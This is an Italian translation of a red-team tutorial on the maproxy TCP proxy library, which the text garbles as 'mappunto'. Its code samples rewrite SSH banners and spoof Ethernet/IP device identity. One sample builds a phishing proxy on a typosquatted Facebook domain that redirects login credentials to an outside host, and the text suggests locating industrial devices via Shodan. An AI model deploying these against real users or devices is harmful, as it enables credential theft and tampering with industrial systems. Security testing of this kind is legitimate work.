La traduzione dell'articolo è stata preparata in vista dell'inizio del corso .

Abstract
Vari tipi di valutazione della sicurezza, che vanno dai test di penetrazione regolari alle operazioni Red Team fino all'hacking di dispositivi IoT/ICS e SCADA, comportano il lavoro con protocolli di rete binari, ovvero, in sostanza, l'intercettazione e la modifica dei dati di rete tra il client e l'obiettivo. Il sniffing del traffico di rete non è un compito difficile, poiché abbiamo strumenti come Wireshark, Tcpdump o Scapy, ma la modifica è un compito più laborioso, poiché avremo bisogno di una sorta di interfaccia per leggere i dati della rete, filtrarli, modificarli al volo e reinviarli al target quasi in tempo reale. Inoltre, sarebbe ideale se tale strumento potesse lavorare automaticamente con più connessioni parallele e avesse la possibilità di personalizzazione attraverso script.
Una volta ho scoperto uno strumento chiamato , la documentazione mi ha rapidamente fatto capire che mappunto – è esattamente ciò di cui ho bisogno. È un proxy TCP piuttosto semplice, versatile e facilmente configurabile. Ho testato questo strumento su diverse applicazioni piuttosto complesse, inclusi i dispositivi ICS (che generano molti pacchetti), per vedere se può gestire molteplici connessioni parallele, e lo strumento ha funzionato bene.
Questo articolo ti introdurrà alla gestione dei dati di rete in tempo reale utilizzando mappunto.
Panoramica
Strumento mappunto basato su Tornado – un popolare e avanzato framework di rete asincrono in Python.
In generale, può operare in diverse modalità:
TCP:TCP– connessioni TCP non crittografate;TCP:SSLeSSL:TCP– con crittografia unidirezionale;SSL:SSL– crittografia bidirezionale.
Viene fornito come libreria. Per un avvio rapido, puoi utilizzare i file di esempio che riflettono le principali :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Caso 1 – proxy bidirezionale semplice
Basato su tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Di default ProxyServer() accetta due argomenti – l'indirizzo di connessione e la porta di destinazione. server.listen() accetta un argomento – la porta per ascoltare la connessione in entrata.
Esecuzione dello script:
# python tcp2tcp.py Per eseguire il test, ci collegheremo a un server SSH locale tramite il nostro script proxy che ascolta su 2222/tcp la porta e si connette alla porta standard 22/tcp del server SSH:

Il banner di benvenuto indica che il nostro esempio di script ha correttamente proxyizzato il traffico di rete.
Caso 2 – modifica dei dati
Un altro script demo logging_proxy.py è perfetto per interagire con i dati di rete. I commenti nel file descrivono i metodi della classe che puoi modificare per raggiungere il tuo obiettivo:

La parte interessante qui è:
on_c2p_done_read– per intercettare i dati lungo il percorso dal client al server;on_p2s_done_read– al contrario.
Proviamo a modificare il banner SSH che il server restituisce al client:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Esegui lo script:

Come puoi vedere, il client è stato ingannato poiché il nome del server SSH è stato cambiato in «DumnySSH».

Caso 3 – semplice pagina web di phishing
Esistono infinite possibilità di utilizzo di questo strumento. Questa volta concentriamoci su qualcosa di più pratico nel campo delle operazioni Red Team. Imitiamo una landing page m.facebook.com e utilizziamo un dominio personalizzato con un errore di battitura intenzionale, ad esempio, m.facebok.com. Ai fini della dimostrazione, supponiamo semplicemente che il dominio sia registrato a nostro nome.
Stiamo per stabilire una connessione di rete non crittografata con il nostro proxy vittima e un SSL Stream per il server di Facebook (31.13.81.36). Affinché questo esempio funzioni, dobbiamo sostituire l'intestazione HTTP Host e iniettare il nome host corretto, inoltre disabiliteremo la compressione delle risposte per accedere facilmente al loro contenuto. Infine, sostituiremo il modulo HTML in modo che le credenziali di accesso vengano inviate a noi, anziché ai server di Facebook:
[…]
def on_c2p_done_read(self,data):
# sostituisci l'intestazione Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disabilita la compressione
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# sostituzione parziale della risposta
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]In sintesi:

Come potete vedere, siamo stati in grado di sostituire il sito originale con successo.
Caso 4 – Compromettiamo Ethernet/IP
Ho trattato a lungo con dispositivi industriali e software (ICS / SCADA), come controllori programmabili (PLC), moduli di input-output, azionamenti, relè, ambienti di programmazione a gradini e molto altro. Questo caso è per chi ama le cose industriali. Hacking queste soluzioni implica un gioco attivo con i protocolli di rete. Nel seguente esempio, voglio mostrare come è possibile modificare il traffico di rete ICS/SCADA.
Per questo avrai bisogno di quanto segue:
- Un sniffatore di rete, ad esempio Wireshark;
- Un dispositivo Ethernet/IP o semplicemente un dispositivo SIP, puoi trovarlo tramite il servizio Shodan;
- Il nostro script si basa su
mappunto.
Per iniziare, diamo un'occhiata a come appare una tipica risposta di identificazione da CIP (Common Industrial Protocol):

L'identificazione del dispositivo avviene tramite il protocollo Ethernet/IP, che è una versione estesa del protocollo Ethernet per scopi industriali, incapsulando protocolli di controllo come CIP. Stiamo per cambiare il nome di identificazione dedicato, visibile nello screenshot. «NI-IndComm for Ethernet» utilizzando il nostro script proxy. Potremmo riutilizzare lo script logging_proxy.py e modificare analogamente il metodo della classe on_p2s_done_read, poiché desideriamo che sul client venga visualizzato un altro nome di identificazione.
Codice:
[…]
def on_p2s_done_read(self,data):
# sostituzione parziale della risposta
# Controllo se abbiamo ricevuto la risposta del messaggio List Identity
if data[26:28] == b'x0cx00':
print('Ricevuta risposta, sostituzione')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
In sostanza, abbiamo richiesto l'identificazione del dispositivo due volte, la seconda risposta è l'originale, mentre la prima è stata modificata al volo.
E infine
A mio avviso mappunto uno strumento comodo e semplice, che in aggiunta è scritto in Python, quindi credo che anche voi possiate trarre vantaggio dal suo utilizzo. Certo, esistono strumenti più complessi per elaborare e modificare i dati di rete, ma richiedono anche maggiore attenzione e sono solitamente creati per scenari d'uso specifici, ad esempio, , o per casi simili al terzo, o per l'ultimo caso. In ogni caso, grazie a mappunto potrete realizzare rapidamente le vostre idee per l'intercettazione dei dati di rete, poiché gli esempi di script sono molto chiari.
Fonte: habr.com
